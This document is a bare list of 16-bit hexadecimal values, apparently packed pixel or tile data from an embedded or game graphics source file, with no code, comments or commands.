0x8E13,0xF6AE,0xD2B3,0xB3B3,0xF813,0x85AE,0x4AB3,0xB34A,
0x1348,0xAEAE,0xB3B3,0x8585,0x1348,0x788E,0xB3C3,0xB385,
0x4848,0xE6B3,0x4A04,0x8EB3,0x4848,0x8E13,0xD251,0x9697,
0x48F6,0x9A48,0x34BD,0x9A34,0x6DDC,0xBD6D,0x5EE7,0x89C3,
0xF6F6,0x85D2,0xC4B3,0xB25F,0xB313,0x13B3,0xDC4A,0x97E8,
0x48B3,0xBAB3,0xB296,0x2626,0xBA85,0x9638,0x445F,0xB7A2,
0xF996,0xB18E,0x4D5F,0x4848,0x485D,0x5FC4,0x13C4,0xC4C3,
0xB789,0x685F,0x48F8,0x70C4,0xB1A7,0x4DB1,0x6C48,0xB7DA,
0xAEBA,0xB38E,0xDAF6,0x4DDA,0xC34A,0xB748,0xAD70,0xA2B7,
0x075E,0xB2E6,0x5EA4,0xC39A,0x26A4,0xBDB2,0x21F8,0xB3C3,
0xB2DA,0x9ABD,0x486D,0x85B3,0xE670,0x6D21,0xF621,0x13B3,
0xB3B7,0x215C,0x31B3,0xBD31,0x8921,0x9880,0x1348,0xE7A4,
0x4AA2,0xB3B3,0xC3B3,0xB793,0xC3B3,0x85B3,0x13B3,0xF9B7,
0x4AC3,0x4A85,0x9785,0x3496,0x4A85,0xE685,0x34F9,0x312A,
0xD2B3,0xF997,0xFE78,0xF65E,0xA5B7,0xAE97,0xBF17,0x8A78,
0x5134,0x139A,0x800B,0x48A7,0x2131,0x3F13,0x5E7D,0xC407,
0x96F9,0xAE96,0x48B3,0x70EB,0xBA96,0x4A4A,0xB7B3,0xA4B2,
0xB3B3,0xB385,0xB2BD,0xA2BD,0x4848,0xA5B3,0xBDB2,0x489A,
0x4813,0xB2AD,0x9AE6,0xF689,0xDAB3,0xE670,0x399A,0xB131,
0xDA98,0x21B7,0x3139,0x06B2,0xB798,0x3921,0xB2F4,0x8D19,
0xA2AD,0xBAF6,0xB144,0xF6B2,0x215E,0x91C3,0xDA44,0x7834,
0xB3A7,0x4450,0xD268,0x9604,0xF14A,0x6819,0x4A78,0x1313,
0x0644,0xE6C4,0x854A,0x48B3,0xDE06,0xC3B7,0x4A13,0x48B3,
0xF8F3,0x13C3,0xB313,0xA248,0x13F8,0x13C3,0x4813,0x2613,
0xAEC3,0x04AE,0x0000,0x2F00,0x4AB3,0x4D4A,0x9AF1,0x2F00,
0xAEF9,0x06A2,0xD29A,0xFD00,0x38BA,0x911E,0x9785,0x0097,
0x4D13,0x3897,0xAE34,0x00BD,0x7E91,0x5D97,0xC404,0x9A68,
0x341E,0xC3AE,0xB2C4,0xEBBD,0xF697,0xC48A,0xB368,0x3404,
0xFDFD,0x2FFD,0x082F,0x0808,0xFD0F,0x2FFD,0x082F,0x0808,
0xFD00,0xFD0F,0x2F2F,0x0808,0xFD00,0x0FFD,0x2FFD,0x0808,
0x009A,0xFDFD,0xFD0F,0x082F,0x9A17,0x2F00,0x0F0F,0x1CFD,
0x893C,0x2F00,0x0F0F,0xFD0F,0xB84D,0x00FE,0x0000,0x0F0F,
0x1414,0x1414,0x1414,0x1414,0x1408,0x1414,0x1414,0x1414,
0x0808,0x1414,0x1414,0x1408,0x081C,0x1408,0x1414,0x0808,
0x1C1C,0x0808,0x1414,0x0808,0x1C1C,0x081C,0x0808,0x0814,
0x1C1C,0x1C1C,0x0808,0x0808,0x1C0F,0x1C1C,0x081C,0x0808,
0x1414,0x1414,0x0808,0x1414,0x1414,0x1414,0x0808,0x1408,
0x1414,0x1414,0x0808,0x0808,0x1414,0x0814,0x0808,0x0808,
0x1408,0x0814,0x0808,0x0808,0x0808,0x0808,0x0808,0x0808,
0x0808,0x081C,0x0808,0x0808,0x0808,0x1C08,0x081C,0x0808,
0x1414,0x1408,0x0814,0x081C,0x1414,0x0808,0x0814,0x1C1C,
0x1408,0x0808,0x0808,0x1C1C,0x0808,0x0808,0x0808,0x1C1C,
0x0808,0x0808,0x0808,0x1C08,0x081C,0x0808,0x0808,0x1C08,
0x1C1C,0x0808,0x0808,0x1C08,0x1C1C,0x1C1C,0x0808,0x1C1C,
0x1C08,0x591C,0xFD0F,0xFDFD,0x1C1C,0x591C,0x0F9C,0xFDFD,
0x1C1C,0x591C,0x9C59,0x0F9C,0x1C1C,0xFD1C,0x9C59,0x9C9C,
0x1C1C,0x2F1C,0x5959,0x9C0F,0x1C1C,0x2F1C,0x59FD,0x0F0F,
0x1C1C,0x0F1C,0xFD0F,0x5959,0x1C1C,0x5959,0x0F59,0x0000,
0x5959,0x9C9C,0x5959,0x0000,0x0FFD,0x5959,0x009C,0x5EE8,
0x590F,0x5959,0x0059,0xB321,0x5959,0x590F,0x000F,0x8E93,
0x599C,0x0F59,0x2A00,0x3F13,0x0F0F,0x0000,0x6200,0x6D6C,
0x0059,0x484D,0xC400,0x8F16,0xC400,0x0BDE,0x130B,0xC44D,
0xBDBD,0xD2E6,0x13F8,0xBD4A,0xE600,0xBDA4,0xC313,0x70A4,
0x138E,0x97A2,0xBDE6,0x2A98,0x1389,0x5E31,0xBDA4,0x9AE6,
0x8E48,0xDA12,0xBDA4,0xF897,0xC4B3,0x3470,0xFE9A,0x97B7,
0x9898,0x9AB7,0x3F17,0x5E7D,0x1A8F,0x175E,0x793F,0xA70B,
0x216D,0x5E21,0x899A,0x1E89,0xA75C,0x316D,0x1721,0xB1A2,
0xFEA7,0x216D,0x8921,0x1E1E,0x6DFE,0x6D6D,0xE421,0x911E,
0x6DEF,0x6D07,0x6C5C,0x2BDE,0x83FE,0x07DD,0x915C,0x5C2B,
0xDD6D,0xFE83,0x2B5C,0xF45C,0xDD07,0x8383,0xAFAF,0x756D,
0xDEB1,0x2648,0x5E98,0xFE21,0x9AF1,0x1E4D,0xA75E,0xFEFE,
0x2B2B,0x5E6C,0xFEA7,0x89EF,0xDE2B,0xF480,0xB807,0x3939,
0xA280,0xDDF4,0x17B8,0xA239,0xF45C,0xB875,0xB8C5,0x5C5C,
0x7575,0xC583,0x75B8,0x075C,0x8375,0x4CC5,0x753C,0xEF07,
0x21EF,0x266C,0x512A,0x159C,0xEF89,0xBD4D,0x8A31,0xC88A,
0xA289,0xA7B7,0x898A,0xC88A,0x5EA2,0x8A8A,0x3C80,0xE5FE,
0x8AA2,0x6D07,0x5C4D,0x3F3F,0x078A,0x83B8,0x5C5C,0x7979,
0xB8EF,0xC53F,0x5C75,0x0B83,0x3FB8,0x0BCC,0xF483,0x64DD,
0xC815,0x9CC8,0x808A,0x5E98,0xC8C8,0x8032,0x8039,0x214D,
0x32C8,0xF421,0xA258,0xEF21,0xB8E5,0x0775,0xA258,0xC507,
0xBF7D,0x58F4,0xF44C,0xEFC5,0x3C79,0x64A7,0x834C,0x6DCC,
0xF4C5,0x64DD,0xC5EF,0x6DB8,0xF483,0x64EF,0xC5C5,0x75EF,
0x3921,0xB275,0x8D19,0x4821,0x3939,0x1E1E,0x278D,0x0748,
0x80C5,0x501E,0x8927,0xFE89,0x263C,0x8DDE,0x07BF,0x39FE,
0xDEA2,0x27F3,0xFE39,0xEF83,0xF3A2,0x7D27,0xB883,0x753F,
0xBC2B,0xEF79,0x7DBF,0x5CBF,0x272B,0xB879,0xBFC5,0x07F4,
0x4807,0x8948,0xBD21,0x8A78,0x4848,0x2189,0x5EBD,0x398A,
0x3989,0x4D21,0x8A31,0xF139,0x2117,0xA74D,0xB88A,0x1EF1,
0xA275,0x8A8A,0xF379,0x5C1E,0x8AA2,0x7D8A,0x6C27,0x172B,
0x0707,0x273C,0x2B2B,0x0BEF,0x7558,0x7D27,0x3CA2,0xCCCC,
0x1E07,0x4868,0x8A89,0xBD31,0x1E1E,0x896D,0xB817,0x31A7,
0x6D1E,0x3F17,0x4D3F,0x8AA2,0x1721,0xB83F,0x5E80,0xDDA7,
0x0B17,0xA2B8,0x8A21,0x58A7,0xC50B,0xF4A2,0x0707,0x586D,
0x5CC5,0x07F4,0x83EF,0x646D,0x7575,0xEF39,0x83C5,0x64DD,
0x173C,0x1E89,0x4D1E,0xC49A,0xB85C,0xC4BF,0xA2DE,0xA26D,
0xBFA7,0x262B,0x6D4D,0xA739,0x6D58,0x4DA2,0xFEA2,0xEFC5,
0x6D64,0x2BA2,0xFE3C,0xC5EF,0x6D64,0x5C5C,0xB8B8,0xC583,
0x6DCC,0x3C75,0x3F79,0x4C83,0x3CCC,0x8375,0xCC0B,0x3C7D,
0x216C,0xB134,0x6D44,0x2189,0xDEC4,0xE79A,0xDE70,0xA717,
0x6CA2,0xA291,0xA42A,0x6D6D,0xA2F4,0x2BDE,0x2A2B,0xA22A,
0xF4DD,0x80A2,0xF32B,0x8080,0xDDB8,0x5CF4,0x2B5C,0x5CF3,
0x4CC5,0x7575,0x75F4,0x5C2B,0xCCC5,0x7583,0x6D75,0x5C75,
0x215E,0x6D6D,0x0B89,0x13C5,0x6D5E,0x6D6D,0x0B17,0xB339,
0x6D9A,0xFE6D,0x0B64,0xA713,0xFEA7,0xEF6D,0x890B,0xF413,
0x6D5C,0xCC6D,0x13C5,0xAF3C,0x8080,0xB875,0x0748,0xBFAF,
0xAF75,0x7580,0x3CFE,0xC53C,0xEFFE,0x77AF,0x3C75,0x3F4C,
0xA213,0x9A4D,0x216D,0xA2C4,0x8021,0x8921,0x0789,0xC4A2,
0x5C2B,0x8989,0xEF89,0x4D07,0x395C,0x1739,0xE475,0x6D83,
0x17EF,0x3C17,0xE4E4,0x3975,0x1717,0xE43C,0x2B2B,0xB8AF,
0xBFC5,0x772B,0x75AF,0xC5EF,0xAF83,0xAFAF,0xB83C,0x7DC5,
0x53A7,0x6C98,0x9A26,0x3148,0x6C1E,0xDE26,0x896D,0x1748,
0xE46C,0x8980,0x4889,0x0B17,0x8026,0x3917,0x396D,0x0B64,
0xE4A2,0x89EF,0xCC39,0xB864,0xE4DD,0x175C,0x0BCC,0x17B8,
0x5CEF,0xC52B,0xCC0B,0x7DB8,0xDDB8,0x4C5C,0x7D0B,0x3C79,
0xA731,0xC307,0xC448,0x5E98,0x4D5C,0xA731,0x2621,0xA75E,
0x1EBC,0x5C5C,0x076D,0x076D,0xC4BF,0xDEF1,0x75A2,0x833C,
0xF183,0xA26C,0xDDF4,0x834C,0xE4BF,0xF45C,0xB883,0xCC64,
0x5C5C,0xDD75,0x64B8,0x7564,0x755C,0xB8DD,0x64B8,0x5CBF,
0xDDA7,0x21A7,0x5E31,0x2A2A,0x6DFE,0xF431,0x4DA2,0x2151,
0x5C6D,0x9A75,0x5E4D,0x58A7,0xFEFE,0xA26D,0xA75E,0x64CC,
0x8383,0x17B8,0xDDFE,0x8358,0xF45C,0x833C,0xB8B8,0x83FE,
0x8A5C,0xBF8A,0xBFBF,0xB87D,0xEF07,0x3FB8,0x7DC5,0x7D7D,
0x262A,0x9853,0xCCAF,0x1D50,0x80EF,0x6C26,0x6C53,0x7D8D,
0x1764,0x12AF,0x50E3,0xDD27,0xB883,0x6D17,0x27DE,0xE3BF,
0xB883,0xBF3F,0x27F3,0xE4AF,0x7DB8,0x2B7D,0x7D27,0x2BF4,
0xB8B8,0x77AF,0xB879,0x3C17,0xC579,0x27AF,0xEF79,0xC5C5,
0xB36D,0xA280,0x21B3,0x6DF4,0xFE48,0x8075,0x135C,0x8948,
0x3CFE,0x6D6D,0x6D80,0x4D13,0x8980,0x3939,0x80DD,0x5E4D,
0xAFE4,0x1717,0x4D75,0x8AF4,0xE42B,0x3CAF,0x8AA2,0x838A,
0x77AF,0x5C2B,0x398A,0x3CBF,0xAF83,0x0775,0xB807,0x3CC5,
0xBD2A,0x782A,0xA731,0x8989,0xE7A2,0x6D31,0x9A21,0x5C39,
0xA72A,0xFE07,0x2121,0xF139,0x398A,0x6DFE,0x216D,0x1E80,
0xB889,0xDDDD,0x5C6D,0xF1F1,0xFE48,0xDD83,0x5CFE,0x2BE4,
0x6DEF,0x83DD,0x5CEF,0x5C2B,0x89BF,0x83DD,0x75EF,0x6DAF,
0xB16C,0x13F1,0x98DE,0x21B7,0x1EB1,0x80A2,0xB71E,0x0721,
0x4D1E,0x6C2B,0x2180,0xEF07,0x2B91,0x80DE,0xDD21,0x39B8,
0x802B,0xF480,0xB86D,0x3917,0x5C5C,0x75F4,0xC5EF,0x7517,
0xF4F4,0x8375,0xC5C5,0x5C3C,0x756D,0xC583,0x3C7D,0x0775,
0xEF07,0x26A7,0x2A26,0xA751,0x89FE,0xB739,0x3126,0x898A,
0x8989,0x4DA2,0x8AA7,0x8989,0xA239,0x8AB7,0x808A,0x895C,
0xA25C,0x078A,0x80DD,0x3F2B,0x8AA2,0xB807,0xF4EF,0x7DA2,
0x0707,0x3FB8,0x3CC5,0x835C,0xB8EF,0xCC3F,0x830B,0x6D75,
0xF86D,0x0B89,0xA775,0xDA2B,0x4848,0x7D17,0x395C,0x2A80,
0x6D6D,0x21B8,0x58F4,0xA2A2,0xB8FE,0x75B8,0x588A,0x6D5C,
0x7D3F,0xF4BF,0x5858,0xC5F4,0x7979,0xF4BF,0x4C64,0xCC83,
0xCC64,0x8A75,0x5864,0xB8C5,0x83CC,0x4CF4,0xC564,0xEFC5,
0x215E,0x6D39,0x44DA,0x5C8D,0x3921,0xC417,0x1D68,0x4827,
0xC507,0x1EA2,0x2750,0x07FE,0x83C5,0xDEDE,0x7D8D,0xFE48,
0xA2B8,0xF3DE,0x1727,0x83FE,0xA207,0x27F3,0x837D,0x3FB8,
0x2B6D,0x7977,0xBFEF,0xBF7D,0x2B75,0x7927,0xC5B8,0xF483,
0x48C3,0x4848,0x1348,0x2ABD,0x4848,0x8948,0xBD21,0x8A51,
0x8907,0x2139,0x314D,0x398A,0x3939,0x4D75,0x8AA7,0xE4B8,
0x75EF,0x8A80,0x798A,0x1EF3,0xA23C,0x8A8A,0x277D,0x2BF1,
0x075C,0x3C07,0x2B27,0x8380,0x58DD,0x2775,0xA27D,0xC53C,
0x07C3,0xB1C4,0x89C3,0x318A,0xF139,0x2144,0x1789,0xA7B8,
0x44F1,0x1721,0x3F17,0x5E80,0xA21E,0x3F17,0x803F,0xA75E,
0x172B,0x3F0B,0xA2A2,0xA78A,0x0BB8,0x5C3F,0x0721,0x6D07,
0xCC0B,0xF475,0xEF07,0x6DEF,0x3CCC,0x3975,0xB8EF,0xDD83,
0x5CBD,0x0017,0x1EC4,0x0000,0xA231,0x8300,0xDEC4,0x6DA2,
0xA78A,0x5CBF,0x4D26,0x393C,0x58DD,0xA28A,0xA24D,0x17FE,
0x644C,0xA26D,0x3C2B,0xEFFE,0x6458,0x5C6D,0x835C,0x83B8,
0x64CC,0x756D,0x793C,0x833F,0xCC64,0x756D,0xCC83,0xB8CC,
0x0F00,0x1C1C,0x1C1C,0x081C,0x009A,0x0000,0x0000,0x0000,
0xA2A7,0xDE6C,0x2AA2,0x21A4,0xA7EF,0xDEA2,0x2B2B,0x2A4D,
0xEFC5,0x5CF4,0x2B80,0x80F3,0xC517,0xF4DD,0x5C5C,0xF32B,
0xC583,0x3CB8,0xF475,0x2B75,0xB83C,0x4CCC,0x753C,0x756D,
0x0808,0x1C08,0x1C1C,0x1C1C,0x1C1C,0x1C1C,0x1C1C,0x1C1C,
0x0000,0x0000,0x0000,0x0000,0xF4A2,0x6DFE,0x0BFE,0x1339,
0xA280,0x6D6D,0xC5C5,0x6D13,0x802B,0x7580,0x07B8,0xAF07,
0x752B,0x80AF,0xFEF4,0x3C3C,0x835C,0xF4EF,0x7577,0x833C,
0x1C08,0x1C1C,0x1C1C,0x1C1C,0x1C1C,0x001C,0x0000,0x0000,
0x0000,0x8900,0x8989,0x6D39,0x5CF4,0x89FE,0x6D39,0x3CE4,
0x83AF,0x1717,0xE46D,0xAFE4,0x173C,0x3C17,0x8080,0xAF2B,
0x17B8,0x7783,0xAF77,0x83F4,0x83C5,0xAFAF,0x75AF,0xC5B8,
0x591C,0x0000,0x0000,0x48A2,0x0000,0xF4A7,0x215E,0x4848,
0xDE4D,0x6D5C,0x076D,0x076D,0x6C6D,0xFEDE,0x7575,0x6D3C,
0x5C39,0xFEDE,0xFE39,0xBF83,0x07EF,0x2B80,0xCC17,0xC50B,
0xEFC5,0x80F4,0x0B7D,0xB8CC,0xC57D,0x5CDD,0x0BBF,0x7D7D,
0x2648,0x0B50,0x8948,0x26DE,0x5C3F,0x481E,0xDE89,0x5E1E,
0xBF0B,0x7568,0x1E2B,0x6D5E,0xFEEF,0xF191,0xA26C,0x83A7,
0xB83C,0xBF17,0xF475,0xB86D,0x3C83,0xB8BF,0xB83F,0xB8FE,
0xAF7D,0xBF75,0x7DBF,0xB8C5,0x83BF,0xC53F,0x7D7D,0x79D8,
0x6C26,0x8098,0x0B0B,0x975C,0x26A2,0x9826,0xF41D,0x219A,
0x3C17,0xE412,0x536C,0x17F4,0x17B8,0x8083,0xE480,0x80E3,
0xB8B8,0x833F,0x805C,0xE480,0x7D7D,0xDDBF,0xF48A,0x2B2B,
0x837D,0x8A8A,0xB8EF,0xAFBF,0xB83F,0x83B8,0x0B7D,0x4C0B,
0x07EF,0x8383,0x3C75,0x3CDD,0xEF7D,0x8383,0x833C,0x3CBF,
0xC5D8,0xBFEF,0x4C83,0x4CBF,0xC58B,0x4CEF,0x4C7D,0x794C,
0x8B8B,0xD8D8,0xD8D8,0x8B8B,0x8B8B,0xD879,0x8B8B,0x8B8B,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0xD8BF,0x3CBF,0xEF3C,0x3F58,0xCC7D,0x3C3C,0xC5EF,0x794C,
0x8B8B,0x58D8,0x4C58,0x4CD8,0x798B,0xCCD8,0xBFD8,0xC54C,
0x8B8B,0xCC8B,0x8BCC,0x7D4C,0x8B8B,0xCC8B,0x8B8B,0xD88B,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0xCC3F,0xCCCC,0x3C7D,0xEFDD,0xCCCC,0x7979,0xBF79,0x8383,
0x79D8,0x7979,0xD88B,0x4C4C,0xD8D8,0x8B8B,0x8B8B,0xD8D8,
0xD8D8,0x8BD8,0x798B,0x8BD8,0x8BD8,0x8B8B,0x798B,0x8B8B,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0xDDDD,0x6458,0xB8C5,0xAF83,0x83BF,0x64CC,0xB879,0x3C3C,
0x8383,0x64CC,0x4C79,0xBF3C,0x4C4C,0x8BCC,0x4C79,0x79BF,
0xD8D8,0x8B64,0x4C79,0x8B7D,0xD88B,0x8B8B,0x5879,0x8B79,
0x8B8B,0x8B8B,0xD879,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0x7927,0xC5C5,0x3C7D,0x58DD,0x7979,0x79C5,0x83BF,0xCC58,
0x798B,0x4C8B,0x584C,0xD8CC,0x798B,0xD88B,0x79C5,0x4C8B,
0x8B8B,0x8B8B,0x8B8B,0x4C8B,0x8B8B,0x8B8B,0x8B8B,0xD8D8,
0x8B8B,0x8B8B,0x8B8B,0x8BD8,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0x3CBF,0x3C79,0xB83C,0x3CC5,0x7DBF,0x7579,0x0B7D,0x3C83,
0x8BBF,0xBF4C,0xCCCC,0x584C,0x8B7D,0xD84C,0xD88B,0xCC58,
0x8B79,0x8BD8,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0x583C,0x7958,0x8379,0x64EF,0xC558,0x7979,0x4C79,0x64EF,
0xD8C5,0x7979,0x4C8B,0x64EF,0xC53F,0x8BD8,0xD88B,0x64C5,
0xCCCC,0x7979,0x798B,0xCCD8,0x8B8B,0x8BCC,0x8B8B,0x8B8B,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0xBFC5,0xD8BF,0x8B0B,0x833F,0x83D8,0x794C,0xCCCC,0xB8CC,
0x4CD8,0x79D8,0xCC79,0xC5CC,0xD879,0x8B79,0x8B79,0xC5CC,
0x798B,0x8B8B,0x8B8B,0xCCCC,0x8B8B,0x8B8B,0x8B8B,0xCC8B,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0xCCBF,0x83C5,0xDD3C,0x75DD,0x4CBF,0xD8CC,0xBFBF,0xBF83,
0x4C7D,0x8B79,0xBF4C,0x4C4C,0xD8D8,0x8B79,0x4C8B,0xD84C,
0x7979,0x8B8B,0x8B8B,0xD8D8,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0xEF83,0x3CEF,0x75AF,0x4C83,0x83BF,0xC5EF,0xAF4C,0x4C75,
0x4CBF,0xD8B8,0x79D8,0x3C3C,0x4C4C,0x79C5,0xCC8B,0xBF7D,
0xD8D8,0x8BCC,0xD88B,0xD8D8,0xD879,0x8B8B,0xD88B,0x8BD8,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0x3C75,0xBF3C,0xC5C5,0x7D7D,0xBF4C,0xC583,0x7D79,0xC5B8,
0x7D7D,0x797D,0xC57D,0xCCCC,0xD8BF,0x4CD8,0xCC79,0xCCCC,
0x4C7D,0xD8D8,0x8BD8,0x8B8B,0xD88B,0xD8D8,0xD88B,0x8B79,
0xCC8B,0xD88B,0x8B79,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0x4CC5,0x3C75,0xCC8B,0x75D8,0xD8C5,0x3CBF,0x64B8,0x3C83,
0xC5C5,0xBF4C,0xC5C5,0xBF83,0x8B8B,0xBFD8,0x4C4C,0x4C4C,
0x8B8B,0xD88B,0x4CD8,0xD84C,0x8B8B,0x8B8B,0xD8D8,0x8BD8,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0x3C75,0xC57D,0xBFEF,0xEF75,0x4CBF,0xB8CC,0x3CDD,0x7D4C,
0xD883,0x4CCC,0x4C3C,0xC5C5,0x79D8,0x4CD8,0xC558,0xCCC5,
0xD88B,0xD8D8,0x8BD8,0x8BCC,0x798B,0x8B8B,0xCC8B,0x8B8B,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0xB8EF,0xCC3F,0x0B0B,0x79C5,0x3FB8,0xCCCC,0xC5CC,0xC5C5,
0xCCCC,0xCC64,0xC5D8,0x8BCC,0xC5CC,0x8B64,0xCC79,0x8B8B,
0x8B8B,0x8B8B,0x8B8B,0xD88B,0x8B8B,0x8B8B,0x8B8B,0xD88B,
0x8B8B,0x8B8B,0x8B8B,0xD88B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0xBFCC,0x0B3C,0xB8C5,0xC57D,0x3C79,0x8B7D,0xCCCC,0xBFC5,
0xBF4C,0x8B8B,0x64CC,0xBF79,0x7DBF,0x798B,0x8B8B,0x584C,
0x8B4C,0x8B8B,0xD88B,0xCCD8,0x8BD8,0x8B8B,0x8B8B,0x8B8B,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0x75BF,0xEFEF,0xBF3C,0x4C3F,0xEF3C,0xBF58,0x3C3C,0xCC7D,
0x584C,0x7D79,0xBFBF,0x8B4C,0xC5C5,0x8B79,0x4CD8,0xD84C,
0xCCCC,0x7979,0xD88B,0xD84C,0x8B8B,0x8BCC,0x8B8B,0xD8D8,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0xEFBF,0x8307,0x3C83,0xDD3C,0x4C4C,0x83EF,0x3C83,0x8383,
0xD8D8,0xEFC5,0x8383,0xBF4C,0x8B8B,0xB879,0x4C4C,0x4C7D,
0x8B8B,0xD88B,0xD8D8,0x8BD8,0x8B8B,0x8B8B,0x8BD8,0x8B8B,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0x3C3C,0xBFD8,0x3C3C,0x58EF,0x4C3C,0xBFCC,0xEF3C,0x4CC5,
0x8B4C,0xD88B,0x5858,0xD84C,0x8B79,0xD879,0xD8C5,0x4CBF,
0x8B8B,0x8B8B,0xCCCC,0x4C8B,0x8B8B,0x8B8B,0x8BCC,0x8B8B,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0x3FC5,0xCCCC,0xD8CC,0xDD3C,0xCC7D,0x79CC,0x79D8,0x834C,
0xD87D,0x7979,0x8B79,0x4C79,0xD8D8,0x79D8,0x8B8B,0xD88B,
0xD84C,0xD8D8,0x8B8B,0xD879,0xD8D8,0x8B79,0x8B8B,0x8B79,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0xDDEF,0x58DD,0xC564,0x837D,0xBF83,0xC583,0x7964,0xBFB8,
0x834C,0xCC83,0x7964,0x3C7D,0x4CD8,0xCC4C,0x798B,0xBF4C,
0xD88B,0xCCD8,0x798B,0x4C4C,0x8B8B,0x8BD8,0x798B,0x794C,
0x8B8B,0x8B79,0x8B8B,0x8BD8,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0xBCAF,0xB879,0x7DC5,0xDD3C,0x7D3C,0xC579,0x8379,0x5883,
0x8BBF,0x7979,0x4CD8,0xC558,0x8B79,0x8B79,0xC5D8,0x8B79,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x798B,
0x8B8B,0x8B8B,0x8B8B,0xD88B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0x4C58,0x793C,0x75BF,0xC5B8,0xBFCC,0x79BF,0x7D75,0x7D0B,
0xBF79,0x7D79,0xCCBF,0x4CCC,0x4C4C,0x4C8B,0x8BD8,0x58D8,
0x794C,0xD88B,0x8B8B,0x8B8B,0x8BD8,0x8B8B,0x8B8B,0x8B8B,
0x8B79,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0x75BF,0x5858,0x7979,0xEF4C,0xEF3C,0x79C5,0x7979,0xEF4C,
0xC558,0x79D8,0x7979,0xEF7D,0xCCCC,0xD8C5,0x8B79,0xEFD8,
0xCC8B,0x79CC,0x8B79,0xD879,0x8B8B,0xCC8B,0x8B8B,0x8B8B,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0xC564,0xBF3C,0xCC7D,0xCCCC,0xC564,0x83BF,0xC5D8,0xCCCC,
0xD864,0xD883,0x7979,0xCCCC,0xD864,0x797D,0x798B,0xCC8B,
0xD8CC,0x8BD8,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0x3C83,0xC5C5,0x3C83,0xDDDD,0x83B8,0xCC4C,0xBF79,0x833C,
0x7DC5,0xD84C,0x7D8B,0x4CBF,0x79CC,0x79D8,0x8B8B,0x4C7D,
0x79CC,0x8B79,0x8B8B,0xD88B,0x8BCC,0x8B79,0x8B8B,0x8B8B,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0x833C,0xEFEF,0xAFDD,0x8375,0xBFBF,0xEF83,0x4CC5,0x75AF,
0xBF4C,0xEF4C,0xD8D8,0x3C79,0x4CD8,0xC54C,0x7979,0xD8CC,
0xD8D8,0xCCD8,0x8B8B,0xD879,0x8B8B,0x8BD8,0x8B8B,0xD8D8,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0x3C4C,0x3CAF,0xC53C,0x7D79,0x4C4C,0xBFBF,0x79C5,0x7D7D,
0x4C3C,0x7D7D,0x7D79,0xCCC5,0xBFBF,0xD87D,0x794C,0xCCCC,
0xD8D8,0xD84C,0xD879,0x8B79,0x8B8B,0xD8D8,0x8BD8,0x79D8,
0x8B8B,0x8BCC,0x79D8,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0xC57D,0x754C,0x8B3C,0x4CD8,0xC5C5,0xBFD8,0x4C3C,0xB8D8,
0xC5CC,0x4CC5,0x7DBF,0xCCC5,0x8BCC,0xD88B,0xC5D8,0xCCCC,
0x8B8B,0x8B8B,0xCCCC,0xD88B,0x8B8B,0x8B8B,0x8BCC,0xD8D8,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0x3FB8,0x0BCC,0xCC0B,0x7DD8,0xCC3F,0xCCCC,0xC5C5,0x834C,
0x8BCC,0x7979,0xC5C5,0x7D4C,0x7DD8,0xD8D8,0xD8CC,0xC5D8,
0x8B4C,0xD8D8,0xD88B,0xCC8B,0x8B8B,0x8BD8,0x8B8B,0x8B8B,
0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
0x8B8B,0x3FCC,0x7DB8,0x7D0B,0xCCC5,0x8B8B,0xC5CC,0x3C83,
0x3FB8,0xCCCC,0x79CC,0xEF83,0xCCCC,0x64C5,0xD864,0xC558,
0x8B8B,0x8B79,0x798B,0xCCCC,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
